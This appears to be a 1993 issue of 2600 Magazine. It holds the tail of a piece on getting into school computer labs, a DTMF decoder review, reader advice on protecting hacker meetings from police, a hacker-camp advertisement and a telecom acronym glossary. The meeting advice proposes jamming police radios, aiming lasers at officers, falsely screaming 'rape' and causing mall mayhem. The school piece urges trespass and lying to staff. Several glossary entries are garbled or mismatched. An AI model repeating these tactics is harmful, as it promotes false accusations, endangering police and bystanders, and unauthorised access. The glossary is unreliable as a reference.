I hope I have helped to open your mind to hacking local school networks. These can be found by walking around the school looking into windows for a PS/2 computer lab. You can then just walk in, sit down, and hack away. If for some reason someone asks why you are in there, say you're there for your history class or whatever.
PRODUCT REVIEW

TDD-8 DTMF Decoder
$99, MoTron Electronics
310 Garfield St. #4
Eugene, OR 97402
(503) 687-2118

Review by Les Inconnu
(Sydney, Australia)

For some months now, Popular Communications has carried an advertisement for a ‘Touch-Tone Decoder/Display & ASCII Converter Board’. As described, this device, the TDD-8, displays all 16 DTMF digits and provides an ASCII serial output. Input is accepted from any audio source: radio receivers, cassette recorders, answering machines; there is also IBM software to decode and store the results.

Now something like this is sure to pique the interest of any phreak because it can be almost as important to decode DTMF tones as to generate them, but at ninety-nine dollars a throw (and U.S. dollars at that) plus extras, plus postage, it seems a little too expensive for mere curiosity. However, such a device has just found its way here to the far side of the planet, and it is indeed a very useful tool for exploring the telephone system.

First Contact

The package arrived from Oregon, airmail, in just two weeks. That in itself is worth mentioning when airmail delivery to Australia can take from five to twelve weeks. Very good service!

Not so good though was the documentation. The package contained a fully-assembled board, two cables, and a 5.25” disk. That’s it! No documentation. No READ.ME file. Nothing!

The board itself is a 150mm by 60mm double-sided PCB whose most noticeable feature is eight seven-segment LED displays. These display the digits decoded. The first digit appears in the rightmost display, and automatically scrolls to the left as more digits are decoded.

A 40-pin chip with no markings other than “TDD-8” and a proprietary code, hand inked on a stick-on label, is obviously full of magic. The presence of a crystal on the board seems to indicate sampling techniques, as well as a shift register clock. Apart from a 7805 to turn the 12 volts into 5 volts, a green LED to indicate Power On, and some driver transistors and passive components, the board is bare.

Or almost bare. There are three miniature push-button switches: CLEAR, SCROLL <-, SCROLL ->. There are also three sockets: AUD, SER, and a concentric 2.1mm power connector. The power connector proved to be centre positive, outer negative (there is no standard for these things), however a protective diode has been installed across the input and this should keep the board from harm. A 2.5mm connector will fit, with a little force.

The AUD and SER sockets take subminiature 3.5mm jack plugs. Two cables are provided, at $20 extra. One is a one metre long cord with two wires and 3.5mm plugs at each end. One end sticks in the audio outlet of a radio receiver, such as a scanner, and the other goes into the AUD input of the board. Obviously this carries the input signal.

The other cable has a 3.5mm plug at one end, and this inserts into the SER outlet on the board. The other end of the cable has a D25 socket which attaches to COM1 or COM2 of your IBM backframe. The wiring for this cable is simple. Tip goes to pin 3. Sleeve goes to pin 7. Wire up both of these cables and save yourself twenty smackers.

A 120 volt AC to 12 volt DC converter is also available, but was not ordered, being of no use here where the power is 240 volts AC (and 260 volts AC in the west).

Setting It Up

Operation is very simple, in spite of the lack of instructions. Plug a 12 volt source into the power connector. The display flashes momentarily while the green LED lights up. The TDD-8 takes 75 mA with no display, 150 mA with all the displays lit. In their advertisements MoTron specifies 300 mA but 150 mA is the maximum, even while operating, so a battery supply would be easy. Eight alkaline C cells would be enough.

The AUD line will connect to a scanner audio outlet. “Ext speaker” or “record” provides sufficient voltage. Minimum input seems to be about 1.5 volts peak-to-peak in practice, while maximum is not known, (we were a wee bit cautious) but clipping seems to take place at 5.0 volts peak-to-peak. Just as the ad says, it is happy with the output of receivers, tape and cassette recorders, and answering machines.

Field Use

Now for all sorts of reasons, cost and fragility of the device being among them, we do not recommend that you hang one of these off a twisted pair with alligator clips. However, if you can put the TDD-8 into a suitable box it can be used, attached to a hand-held scanner or similar receiver. The box will need to have a transparent lid to read the display, attachments for the three switches, and three holes for the leads. You will have to work this out for yourselves. When used as a portable device only the AUD and power connectors are used. The TDD-8 holds 40 digits (rather than the 32 advertised) but it cannot tell where one sequence begins and ends. So if you have five eight-digit numbers, they will all run together as one big 40-digit number.

0 to 9 and A to D are all easy to read on the seven-segment display. # shows as three horizontal lines, one on top of the other, while * shows as a distorted S. It is
easy to read with practice.

The two SCROLL buttons let you scroll through the memory. CLEAR will clear everything.

**Connecting to a PC**

While almost any computer with an RS-232-C connector and a dumb terminal program will receive something from the TDD-8, unless you write your own program it will not perform any better than the inbuilt display.

For IBM's (and compatibles), MoTron provides a 5.25" disk with a single file: TONELOG.EXE. When this is installed and the TDD-8 connected to COM1 or COM2 via the SER outlet the full power of this device is seen.

Run TONELOG.EXE and it first searches for the TDD-8. If it is not connected a bar (you couldn't call it a window) appears and tells you to connect it to COM1 or COM2. This is about as user-friendly as it gets, but then most of us won't be worried by this.

At the bottom of the screen is a two line menu. F1 to F4 and F6 to F11 all provide toggle switches. F5 is not used. F10 and F11 have no function, but all the others allow you to toggle between COM ports, switch the printer on and off, print, exit, or nominate a data file (PHONELOG.DTA is the default).

F7 brings up an empty window to let you set the alarms. However, there is no explanation as to how to do this, or even what alarms are. F8 toggles these mysterious alarms.

A sample PHONELOG.DTA is shown below. This file preserves exactly what appears, in real time, in the screen above the menu.

```
01-21-1993  21:35:10  11111111  1-111-1111
01-21-1993  21:35:20  22222222
01-21-1993  21:35:36  33333333
01-21-1993  21:35:46  1
01-21-1993  21:35:58  *
01-21-1993  21:36:36  7
01-21-1993  21:36:46  0
01-21-1993  21:37:16  #
01-21-1993  21:37:17  0*789654411236687745874658#
01-21-1993  21:50:45  5
01-21-1993  21:51:06  1234567890**#
01-21-1993  21:51:14  1234567890**#
01-21-1993  21:51:21  123456789012345678901234567890
01-21-1993  21:51:37  8
01-21-1993  22:03:00  123456789012345678901234567890
```

**Radio Interference**

As you would expect, there is some RF interference from the shift register clock, especially from 7 to 35 MHz. This is only harmful if you sit the unshielded board next to a receiver. About 50 cm separation seems to cure it, but you may have to experiment.

**Operation**

Proper detection of DTMF tones depends on the signal-to-noise ratio received. This will depend on your radio link. We can envisage using the device to decode recordings made of tones sent by small transmitters, with the unattended receivers placed fairly close to the transmitters.

**What More Can We Say?**

The lack of documentation is a nuisance, but it can be coped with. A very interesting little device. One of the most useful we have seen. A pity that like a lot of good tools it's so expensive.

---

2600 HAS A FULL LINE OF BACK ISSUES FOR YOUR HACKING NEEDS. SEE PAGE 47 FOR DETAILS. (PAGE 47 HAS NO PAGE NUMBER.)
MEETING ADVICE

Following the disruption of the November 2600 meeting in Washington DC, we have received several suggestions on strategies and ways of preventing problems in the future. We are printing two of those here.

While we must thank the contributors for sharing their thoughts, we have to point out that neither piece really captures the spirit of a 2600 meeting. While the first article contains good suggestions and valuable tactics, it could also give the impression that the primary reason for our meetings is to outwit and defeat the authorities who happen to be present. While this feeling may exist, and is certainly intensified during harassment campaigns, the main reason for our gatherings is simply to get together, meet people, and show the world that we've got nothing to hide. The meetings are not acts of civil disobedience. Nor are they forms of guerrilla warfare. If, however, the authorities step over the line, we are prepared to make it an issue in a civilized and mature manner, as was proven in Washington DC. Otherwise, we bear no animosity towards people in uniforms.

The second article comes from a journalist who suggests ways of "legitimizing" 2600 meetings. Again, many of the suggestions are sound and worth pursuing. But our meetings are flagrantly informal, to the degree that any agenda or form of organization would be largely alien to us. Hackers exist best in an unstructured environment and it would be wrong for any of us to try and change that. What we can do is show the world that our unstructured existence, both at the meetings and on computers, is not analogous to chaos.

by Parity Check

The recent disruption of hacker meetings by law enforcement agencies in the United States has gotten me to think about security in public places. There seems to be a misconception that since you are in a public place, the cops will be less inclined to harass you because of bad press. Nothing could be further from the truth. The officials have public relations people that could convince the average population that the pope is, in fact, the devil-himself. Then again, considering the average Joe Cool, it's relatively easy to do.

If they nail you in a mall, they can BS everyone by saying that you are a young offender, urban terrorist, drug dealer, or something. The fact that most of us in the underground community are young doesn't help: Who are you going to trust? The respectable looking gentleman in uniform, the last line of defense against anarchy? Or the rather snotty looking kid in jeans who's carrying all those illegal looking devices? Much too young to be on his own. I'll bet he has a police record. What's he up to? He probably wants to steal my wallet! That'll teach him! (Get the point?)

First of all, don't call a meeting on the fly. Plan it. Go there even before spreading the word of the meeting and look around. Draw a map if you have to. Look for exits, note where they are, how many, etc.... Your meeting place should have 360 vision all around to see trouble coming up to you. If you know what's coming up at you, you'll have more time to react, hence more time to make the right decision for that situation.

You might want to consider having spotters walking around the mall. Have them come in a couple of hours before you and take places at the food court, rest area, or whatever and start talking with each other, basically looking like John Q. Public, blending in with the background. Their job is to watch the watchers, look at people who are around, and look for stares at your group. They are your source of intelligence on the environment around you. If you get advance warning of a build-up in the cop to joe ratio, then your chances of confrontation are far less.

One thing that will tip you off as to someone's intentions is the body language. Most of us don't realize it but we constantly give indications of our intents and internal emotions. Probably the most expressive are the eyes. This is why bodyguards wear dark glasses. Except with very good training and practice, it cannot be stopped. Look it up somewhere in a book and use your gut feelings.

Set up a danger signal with your people. You can have the simplest of hand signals to a wireless mic in your friend's collar that transmits to your walkman "playing" George Bush's greatest hits or something. Pick your
spots carefully. You want your spotters to be well situated, where they can look and see everything. If the place has many levels, put people on the highest; they'll have a much better view of things and will be able to check the bigger pictures. However, you will lose body language at this distance. If you can get access to an apartment or an isolated place overlooking the meeting, you can get carried away with a camera and binoculars - more stuff to use against them if you do get harassed by an agency. You also want a plan if the shit really hits the pan. The first thing to do is spread out: a mob is easy to contain because everyone's together as a single target. A set of 15 individuals heading in all directions is a pain to control because they now have multiple targets, thus they will be less effective. Next, you want your people to be organized and the cops confused. This maximizes your chance of escape. One thing you can try is having a female in your group wait till one gets close to her and then scream "rape!" or something really embarrassing. It will not look real, but it just might confuse them and seriously embarrass them. One thing that you might try but that I'm really itchy about is using a laser pointer or a hydrogen (red) laser of some kind. Tell your spotters to sight it on the cops. With luck they might think it's a gunsight. This however might bring more harm than anything else since they might lose it and shoot (at you).

Another way of creating confusion is jamming the radios they have. It will not last long as they will resort to backups and landlines but it will give you a couple of seconds.

The methods available to create confusion are countless but you will want to weigh the consequences of your actions. Firing up a half dozen industrial grade smoke bombs is not a good idea: there will be a panic and a stampede in which people (this means you) could and will get hurt and/or killed. This is without mention of the legal actions that could be taken against you with reason.

On the lighter side, nothing would be worse that resetting the burglar alarms to arm mode, sounding the flood alarms, throwing water balloons from another position, sending a bucket of ball bearings sailing across the floor, a water pistol filled with crazy glue, turning off all the lights, toying with the PA system so that the volume is "real" loud, or anything that will create general mayhem.

In conclusion, this is the real ball game. The above might sound paranoid and it probably is, but I'd rather be a free-roving paranoid than in prison. The other team has (some) training to fall back on. You have your guts and your knowledge. The one that reacts the fastest and the wisest wins.

by Romula Velcro

Your meetings are being disrupted. Illegal searches and seizures are taking place. You're being treated like a criminal simply because you are a member of a certain group. You're being intimidated, harassed, or even detained without being accused of a crime. Your constitutional rights are being infringed.

If these things are happening to people in your group and you're not getting any press coverage (or any coverage you do get is biased in favor of official and corporate sources), it's time to start developing a relationship with your local media. You need to let them know your side of the story. Radical, "alternative" weeklies will be more sympathetic, but there are ways to work with the "mainstream" press too, so don't ignore it. Keep in mind that a majority of reporters are liberal, even though their employers are not.

Here's what you can do.

1) Name your group, get a post office box, design a logo, get some letterhead, choose one person to be the publicity director, and start writing press releases. If you can afford one, rent a private P.O. box. Be sure to ask the mailbox company about their privacy policies; many allow box renters to use pseudonyms. They often have voice mail and fax services, so take advantage of them. Getting a U.S. Mail post office box under the name of a group requires supplying the names and addresses of one or two people in the group, and anybody can call the post office and find out who rents the box.

2) Call the newspaper and get the mailing address for the news department, ask who the city editor is, get their extension number, and direct your press releases and phone calls to that person. Find out if there is some kind of guide to communicating with the paper that tells "who's who" at the paper and what they do. Pick one up or have one mailed to you.

3) Make sure that you have "news" to communicate. If your meetings are being monitored or disrupted, if members are being
followed, if other harassment is taking place, that's news. Arrests and lawsuits are also news.

4) Consider publicizing your meetings. (Your group may even decide to establish a "public" or "legitimate" arm for public relations purposes while maintaining a private "core"). Meet regularly, decide on a topic of discussion for each meeting, and don't make it too technical. Privacy and "big government" issues — Caller ID, credit reports, public information, data security, etc. — are most likely to get members of the public interested.

5) Get a public meeting space. Universities, public libraries, the Unitarian Society, community centers, churches, city recreation departments, etc., often have low-cost or free spaces for public use. Watch the newspaper's calendar listings to find out where various groups meet. Network with other radical and free speech-oriented groups to find out where to meet, who their media contacts are, what their experiences with harassment have been, how to find a good lawyer, etc.

6) When you have a meeting time and place established (plan at least a month in advance), announce the meeting at least two weeks in advance by sending a press release to every daily and weekly newspaper in your area. Write a headline saying something like "Hacker Group Opens Meetings to Public." List the name of your group, topic of discussion, names of guest speakers, time, date, place, and contact name and phone number. Send one release to the calendar listings section and one to the city editor or a sympathetic reporter. Why not send one to your friendly Secret Service or FBI agent? See how many people you can get to come to your meetings. By avoiding any hint of clandestine activities, you'll make it harder for the feds to harass you.

7) Invite speakers from a nearby university, ACLU, law enforcement, local Secret Service or FBI office, a representative of the phone company, etc., to address your meeting. How about a panel discussion with representatives from academia, government, corporations, ACLU, the media? Keep the media informed of your activities. ("Hacker Group to Host Computer Piracy Forum" would be an eye-catching headline.)

8) If you have filed a lawsuit, it's a good idea to contact the paper's court reporter (or have your lawyer do it) to alert them to the suit and to leave a contact name and phone number so they'll be able to reach you for comment. Naturally, they can get this information from the court - if they're aware that the suit has been filed and if they're interested - but call them anyway.

9) If your meetings are being disrupted and an editor doesn't want to cover your story, ask him or her if he or she would cover the story if your group were the NAACP. The media will pay attention to you if they are made to understand the issues underlying your problems. If you are only interested in breaking into computer and phone systems for fraudulent use or to steal data, you're not going to get much sympathy. If, however, your right of public assembly, right to protection against illegal search and seizure, and right to free expression are being infringed upon because you happen to be a member of a certain group, the media should be interested in these issues.

10) Check out your local public access television station. In my community, Cox Cable has a monopoly on cable TV and, as part of its contract with the city, is required to fund the city's public access TV station. This station must air all noncommercial video submitted by the public (even birthday parties, little Susie's first haircut, etc.), completely free of censorship. Maybe you can videotape your meetings (they should be around 28-29 or 58-59 minutes in length) and send them to the station for broadcast, or appear on someone's show, or produce your own show. Unfortunately, most news outlets are owned by huge chains that are more concerned about profits than about their responsibility as government watchdogs for the public. Reporters who work for the mainstream press - especially those at small or medium circulation dailies with small staffs and few resources - are basically desk jockeys who do most of their work by phone, fax, and mail. They rely heavily on wire stories and the government and corporate PR machinery. It's up to you to let them know your side of the story because they probably don't have the time to try to track you down.

Martin A. Lee and Norman Solomon examined these issues at length in their book, *Unreliable Sources: A Guide to Detecting Bias in News Media*. Lee is the cofounder of FAIR - Fairness and Accuracy in Reporting.
Hack-Tic, in affiliation with 2600 Magazine, presents:

**HACKING AT THE END OF THE UNIVERSE**

*An “in-tents” summer congress*

Remember the Galactic Hacker Party back in 1989? Ever wondered what happened to the people behind it? We sold out to big business, you think. Think again, we’re back! That’s right. On August 4th, 5th, and 6th 1993, we’re organising a three-day summer congress for hackers, phone phreaks, programmers, computer hater, data travellers, electro-wizards, networkers, hardware freaks, techno-anarchists, communications junkies, cyberpunk, system managers, stupid users, paranoid androids, Unix gurus, whizz kids, warez dudes, law enforcement officers (appropriate undercover dress required), guerrilla heating engineers, and other assorted bald, long-haired and/or unshaven scum. And all this in the middle of nowhere (well, the middle of Holland, actually, but that’s the same thing) at the Larserbos campground four metres below sea level.

The three days will be filled with lectures, discussions, and workshops on hacking, phreaking, people’s networks, Unix security risks, virtual reality, semafun, social engineering, magstrips, lockpicking, viruses, paranoia, legal sanctions against hacking in Holland and elsewhere, and much, much more. English will be the lingua franca for this event, although some workshops may take place in Dutch. There will be an Internet connection, an intertent ethernet, and social interaction (both electronic and live). Included in the price are four nights in your own tent. Also included are inspiration, transpiration, a shortage of showers (but a lake to swim in), good weather (guaranteed by God), campfires, and plenty of wide open space and fresh air. All of this for only 100 Dutch guilders (currently around US $70).

**WE WILL ALSO ARRANGE FOR THE AVAILABILITY OF FOOD, DRINK, AND SMOKES OF ASSORTED TYPES, BUT THIS IS NOT INCLUDED IN THE PRICE. OUR BAR WILL BE OPEN 24 HOURS A DAY, AS WELL AS A GUARDED DEPOSITORY FOR VALUABLES (LIKE LAPTOPS, CAMERAS, ETC.). YOU MAY EVEN GET YOUR STUFF BACK! FOR PEOPLE WITH NO TENT OR AIR MATTRESS: YOU CAN BUY A TENT THROUGH US FOR 100 GUILDERS, A MATTRESS COSTS 10 GUILDERS. YOU CAN ARRIVE FROM 17:00 (THAT’S FIVE P.M. FOR ANALOGUE TYPES) ON AUGUST 3RD. WE DON’T HAVE TO VACATE THE PREMISES UNTIL 12:00 NOON ON SATURDAY, AUGUST 7TH SO YOU CAN EVEN TRY TO SLEEP THROUGH THE DEVASTATING PARTY AT THE END OF TIME (LIVE MUSIC PROVIDED). WE WILL ARRANGE FOR SHUTTLE BUSES TO AND FROM TRAIN STATIONS IN THE VICINITY.**

**Payment:** In advance only by July 15th 1993. You should call, fax, or e-mail us for the best way to launder your currency into our account. Foreign cheques go directly into the toilet paper recycling bin for the summer camp, which is about all they’re good for here.

**Very Important:** Bring many guitars and laptops. Busloads of alternative techno-freaks from all over the planet will descend on this event. You wouldn’t want to miss that, now, would you? **Space is limited.**

---

**4th, 5th, and 6th of August**  
**Hacking at the End of the Universe**  
(a hacker summer congress)  
ANWB groepsterrein Larserbos  
(Flevopolder, Netherlands)  
Cost: fl. 100.- (+- 70 US$) per person  
(including 4 nights in your own tent)  
For more info:  
Hack-Tic  
Postbus 22953  
1100 DL Amsterdam  
The Netherlands  
tel: +31 20 6001480  
fax: +31 20 6900968  
E-mail: heu@hacktic.nl
acronyms h-r

by Echo
(Part 1 appears in the Spring 1993 issue.)

HCDS High-Capacity Satellite Digital Service
HCDS High-Capacity Terrestrial Digital Service
HDLC High-level Data Link Control
HDTV High Definition TV
HDX Half Duplex
HEAP Home Energy Assistance Program
HEHO High End Hop Off
HIC Hybrid Integrated Circuit
HNPA Home Numbering Plan Area
HNS Hospitality Network Service
HOBIC Hotel Billing Information Center
HOBIS Hotel Billing Information System
HP Hewlett-Packard
HPO High Performance Option
HSSDS High-Speed Switched Digital Service
HU High Usage
HUTG High Usage Trunk Group
HZ Hertz
I&M Installation & Maintenance
I/O Input/Output
IB Instruction Buffer
IBN Integrated Business Network
IC Independent Carrier
IC Inter-exchange Carrier
IC Inter-LATA Carrier
ICAN Individual Circuit Analysis
ICC Interstate Commerce Commission
ICD Interactive Call Distribution
ICLD Individual Calling Line ID
ICM Integrated Call Management
IF Intermediate Frequency
IFPS Interfacility Facility Relief Planning System
IIN Integrated Information Network
IM Interface Module
IMAS Integrated Mass Announcement System
IMM Input Message Manual
IMT Inter-Machine Trunk
IMTS Improved Mobile Telephone Service
IN Intelligent Network
INC InterNational Carrier
INL Inter Node Link
INR Inter Node Network
INTEL SAT International Telecommunications Satellite consortium
INWATS Inward Wide Area Telephone Service
IO Inward Operator
IOC Input/Output Controller
IOCC International Overseas Completion Center
IOP Input/Output Processor
IOT Inter Office Trunk
IP Information Provider
IPCS Interactive Problem Control System
IPL Initial Program Load
IPLAN Integrated Planning And Analysis
IPM Impulses Per Minute
IPM Interceptions Per Minute
IPX Integrated Packet Exchange
IRC International Record Carrier
IROR Internal Rate Of Return
IS Interrupt Set
ISC International Switching Center
ISDN Integrated Service Digital Network
ISLM Integrated Services Line Module
ISLU Integrated Services Line Unit
ISN Information Systems Network
ISN Integrated Systems Network
ISO International Organization for Standardization
ISS Integrated Switching System
ISSN Integrated Special Services Network
ISUP Integrated Services User Part
ITS Institute of Telecommunication Science
ITSO Incoming Trunk Service Observation
ITU International Telecommunications Union
IVP Installation Verification Program
IVTS International Video Teleconferencing Service
IX Interactive eXecutive
IXM IntereXchange Mileage
JCL Job Control Language
JES Job Entry System
JIM Job Information Memorandum
JMX Jumbogroup MultipleX
JSN Junction Switch Number
JSW Junctor SWitch
K Kilobit
KBPS KiloBits Per Second
KDT Keyboard Display Terminal
KFT KiloFeeT
KHZ KiloHertz
KP Key Pulse
KSR Keyboard Send-Receive
KTS Key Telephone Set
KTS Key Telephone System
LAC Loop Assignment Center
LADT Local Access Data Transport
LAIS Local Automatic Intercept System
LAMA Local Automatic Message Accounting
LAN Local Area Network
LAP Link Access Protocol
LAPD Link Access Procedure on the D channel
LASS Local Area Signaling Service
LATA Local Access and Transport Area
LATIS Loop Activity Tracking Information System
LBO Line Buildout
LBS Load Balance System
LCAMOS Loop Cable Maintenance Operation System
LCGIS Local Common Channel Interoffice Signaling
LCLL Line Card Cable
LCCN Line Card Cable Narrative
LCDN Last Called Directory Number
LCIE Lightguide Cable Interconnection Equipment
LCLOC Line Card Location
LCN Logical Channel Numbers
LCR Least Cost Routing
LCRKR Line Card ReMark, Retained
LCSI Line Card Service and Equipment
LCSEN Line Card Service and Equipment Narrative
LDMTS Long Distance Message Telecommunications Service
LEAS LATA Equal Access System
LEC Local Exchange Carrier
LED Light-Emitting Diode
LENCL Line Equipment Number Class
LF Line Finder
LFACS Loop Facilities Assignment And Control System
LFIO Last In, First Out
LLN Line Link Network
LMMS Local Message Metering System
LLN Line Link Network
<table>
<thead>
<tr>
<th>Abbreviation</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>LMOS</td>
<td>Loop Maintenance Operations System</td>
</tr>
<tr>
<td>LOC</td>
<td>Local Operating Company</td>
</tr>
<tr>
<td>LOCAP</td>
<td>Low CApAcitance</td>
</tr>
<tr>
<td>LOF</td>
<td>Lock ON-line</td>
</tr>
<tr>
<td>LON</td>
<td>Lock ON-line</td>
</tr>
<tr>
<td>LPCDF</td>
<td>Low Profile Combined Distributing Frame</td>
</tr>
<tr>
<td>LRA</td>
<td>Long Route Analysis Program</td>
</tr>
<tr>
<td>LRC</td>
<td>Longitudinal Redundancy Check</td>
</tr>
<tr>
<td>LRS</td>
<td>Line Repeater Station</td>
</tr>
<tr>
<td>LSS</td>
<td>Long Range Switching Studies</td>
</tr>
<tr>
<td>LSB</td>
<td>Lower Side Band</td>
</tr>
<tr>
<td>LSIC</td>
<td>Large-Scale Integrated circuitry</td>
</tr>
<tr>
<td>LSIR</td>
<td>Local Switching Replacement Planning System</td>
</tr>
<tr>
<td>LSLS</td>
<td>Loop Switching System</td>
</tr>
<tr>
<td>LSV</td>
<td>Line Status Verifier</td>
</tr>
<tr>
<td>LTAB</td>
<td>Line Test Access Bus</td>
</tr>
<tr>
<td>LTC</td>
<td>Local Test Cabinet</td>
</tr>
<tr>
<td>LTD</td>
<td>Local Test Desk</td>
</tr>
<tr>
<td>LTF</td>
<td>Lightwave Terminating Frame</td>
</tr>
<tr>
<td>LTRF</td>
<td>Line Trunk Frame</td>
</tr>
<tr>
<td>LGT</td>
<td>Line Trunk Group</td>
</tr>
<tr>
<td>LTS</td>
<td>Loss Test Set</td>
</tr>
<tr>
<td>LX</td>
<td>Lightguide eXpress Entry</td>
</tr>
<tr>
<td>LW</td>
<td>Microwave</td>
</tr>
<tr>
<td>MA</td>
<td>Maintenance Administrator</td>
</tr>
<tr>
<td>MACBS</td>
<td>Multi-Access Cable Billing System</td>
</tr>
<tr>
<td>MADN</td>
<td>Multiple Access Directory Numbers</td>
</tr>
<tr>
<td>MAN</td>
<td>Metropolitan Area Network</td>
</tr>
<tr>
<td>MAP</td>
<td>Maintenance and Administration Position</td>
</tr>
<tr>
<td>MAPSS</td>
<td>Maintenance &amp; Analysis Plan for Special Services</td>
</tr>
<tr>
<td>MAR</td>
<td>Microprogram Address Register</td>
</tr>
<tr>
<td>MARC</td>
<td>Market Analysis of Revenue and Customers System</td>
</tr>
<tr>
<td>MAS</td>
<td>Main Store</td>
</tr>
<tr>
<td>MASB</td>
<td>MAS Bus</td>
</tr>
<tr>
<td>MASC</td>
<td>MAS Controller</td>
</tr>
<tr>
<td>MASM</td>
<td>MAS Memory</td>
</tr>
<tr>
<td>MATFAP</td>
<td>Metropolitan Area Transmission Facility Analyseqs Program</td>
</tr>
<tr>
<td>MBPS</td>
<td>MegaBits Per Second</td>
</tr>
<tr>
<td>MCIA</td>
<td>Multi-Channel Intelligent Announcement System</td>
</tr>
<tr>
<td>MCC</td>
<td>Master Control Center</td>
</tr>
<tr>
<td>MCCS</td>
<td>Mechanized Calling Card Service</td>
</tr>
<tr>
<td>MCH</td>
<td>Maintenance Channel</td>
</tr>
<tr>
<td>MCHB</td>
<td>Maintenance Channel Buffer</td>
</tr>
<tr>
<td>MCI</td>
<td>Microwave Communications Incorporated</td>
</tr>
<tr>
<td>MCIAS</td>
<td>Multi-Channel Intelligent Announcement System</td>
</tr>
<tr>
<td>MCN</td>
<td>Metropolitan Campus Network</td>
</tr>
<tr>
<td>MCS</td>
<td>Meeting Communications Service</td>
</tr>
<tr>
<td>MCTRAP</td>
<td>Mechanized Customer Trouble Report Analysis Plan</td>
</tr>
<tr>
<td>MDC</td>
<td>Modular Digital Access Control System</td>
</tr>
<tr>
<td>MDC</td>
<td>Marker Distributor Control</td>
</tr>
<tr>
<td>MD</td>
<td>Meridian Digital Centrex</td>
</tr>
<tr>
<td>MDF</td>
<td>Main Distribution Frame</td>
</tr>
<tr>
<td>MDU</td>
<td>Marker Decoder Unit</td>
</tr>
<tr>
<td>MDEX</td>
<td>Modular Digital eXchange</td>
</tr>
<tr>
<td>MEC</td>
<td>Mobile Equipment Console</td>
</tr>
<tr>
<td>MELD</td>
<td>Mechanized Engineering and Layout for Distributing Frames</td>
</tr>
<tr>
<td>MERS</td>
<td>Most Economic Route Selection</td>
</tr>
<tr>
<td>MET</td>
<td>Multibutton Electronic Telephone</td>
</tr>
<tr>
<td>MF</td>
<td>Multi Frequency</td>
</tr>
<tr>
<td>MFENET</td>
<td>Magnetic Fusion Energy NETwork</td>
</tr>
<tr>
<td>MFJ</td>
<td>Modification of Final Judgement</td>
</tr>
<tr>
<td>MFR</td>
<td>Multi-Frequency Receivers</td>
</tr>
<tr>
<td>MFT</td>
<td>Metallic Facility Terminal</td>
</tr>
<tr>
<td>MG</td>
<td>MasterGroup</td>
</tr>
<tr>
<td>MGT</td>
<td>MasterGroup Translator</td>
</tr>
<tr>
<td>MHS</td>
<td>Message Handling System</td>
</tr>
<tr>
<td>MHZ</td>
<td>MegaHertz</td>
</tr>
<tr>
<td>MICE</td>
<td>Modular Integrated Communications Environment</td>
</tr>
<tr>
<td>MIN</td>
<td>Mobile Identification Number</td>
</tr>
<tr>
<td>MINE</td>
<td>Multimedia Information Network eXchange</td>
</tr>
<tr>
<td>MIR</td>
<td>Micro-Instruction Register</td>
</tr>
<tr>
<td>MIS</td>
<td>Management Information System</td>
</tr>
<tr>
<td>MISCF</td>
<td>MISCellaneous Frame</td>
</tr>
<tr>
<td>MITS</td>
<td>Microcomputer Interactive Test System</td>
</tr>
<tr>
<td>MLL</td>
<td>MiniLine Card</td>
</tr>
<tr>
<td>MLCD</td>
<td>Multi-Line Call Detail</td>
</tr>
<tr>
<td>MLT</td>
<td>Mechanized Loop Testing</td>
</tr>
<tr>
<td>MLC</td>
<td>Linear Logic Coding</td>
</tr>
<tr>
<td>MLO</td>
<td>Loop On-line</td>
</tr>
<tr>
<td>MMR</td>
<td>Modulator-DEModulator</td>
</tr>
<tr>
<td>MOC</td>
<td>Minicomputer Operations Group</td>
</tr>
<tr>
<td>MOG</td>
<td>Minicomputer Operations Group</td>
</tr>
<tr>
<td>MM</td>
<td>Main Memory</td>
</tr>
<tr>
<td>MMS</td>
<td>Main Memory Status</td>
</tr>
<tr>
<td>MMC</td>
<td>Minicomputer Maintenance Center</td>
</tr>
<tr>
<td>MMG</td>
<td>Minicomputer Maintenance Group</td>
</tr>
<tr>
<td>MMGT</td>
<td>Minicomputer Maintenance Group Translator</td>
</tr>
<tr>
<td>MMR</td>
<td>Minicomputer Maintenance Requirements</td>
</tr>
<tr>
<td>MMS</td>
<td>Main Memory Status</td>
</tr>
<tr>
<td>MS</td>
<td>Maintenance State</td>
</tr>
<tr>
<td>MSC</td>
<td>Media Stimulated Calling</td>
</tr>
<tr>
<td>MT</td>
<td>Master Test Frame</td>
</tr>
<tr>
<td>MTX</td>
<td>Mobile Telephone eXchange</td>
</tr>
<tr>
<td>MTF</td>
<td>Master Test Frame</td>
</tr>
<tr>
<td>MTP</td>
<td>Message Transfer Part</td>
</tr>
<tr>
<td>MTR</td>
<td>Mechanized Time Reporting</td>
</tr>
<tr>
<td>MTS</td>
<td>Message Telecommunications Service</td>
</tr>
<tr>
<td>MTS</td>
<td>Message Telephone Services</td>
</tr>
<tr>
<td>MSS</td>
<td>Memory Management System</td>
</tr>
<tr>
<td>MUX</td>
<td>MultipleX</td>
</tr>
<tr>
<td>MUX</td>
<td>MultipleXer Unit</td>
</tr>
<tr>
<td>MUX</td>
<td>MultipleXer Unit</td>
</tr>
<tr>
<td>NA</td>
<td>Next Address</td>
</tr>
<tr>
<td>NAC</td>
<td>Network Administration Center</td>
</tr>
<tr>
<td>NAG</td>
<td>Network Architecture Group</td>
</tr>
<tr>
<td>NAM</td>
<td>Number Assignment Module</td>
</tr>
<tr>
<td>NASH</td>
<td>Network Administration System</td>
</tr>
<tr>
<td>NATH</td>
<td>Network Administration System</td>
</tr>
<tr>
<td>NCC</td>
<td>Network Control Center</td>
</tr>
<tr>
<td>NCCF</td>
<td>Network Communications Control Facility</td>
</tr>
<tr>
<td>NCP</td>
<td>Network Control Point</td>
</tr>
<tr>
<td>NCS</td>
<td>National Communications System</td>
</tr>
<tr>
<td>NCTE</td>
<td>Network Channel-Terminating Equipment</td>
</tr>
<tr>
<td>NDCC</td>
<td>Network Data Collection Center</td>
</tr>
<tr>
<td>NEBS</td>
<td>New Equipment-Building System</td>
</tr>
<tr>
<td>NESAC</td>
<td>National Electronic Switching Assistance Center</td>
</tr>
<tr>
<td>NEXT</td>
<td>Near-End X-Talk</td>
</tr>
<tr>
<td>NHR</td>
<td>Non-Hierarchical Routing</td>
</tr>
<tr>
<td>NI</td>
<td>Network Interface</td>
</tr>
<tr>
<td>NM</td>
<td>Network Module</td>
</tr>
<tr>
<td>NMC</td>
<td>Network Management Center</td>
</tr>
<tr>
<td>NNX</td>
<td>Network Numbering eXchange</td>
</tr>
</tbody>
</table>
WRITE FOR 2600!
SEND YOUR ARTICLES TO:
2600 ARTICLE
SUBMISSIONS
PO BOX 99
MIDDLE ISLAND, NY 11953
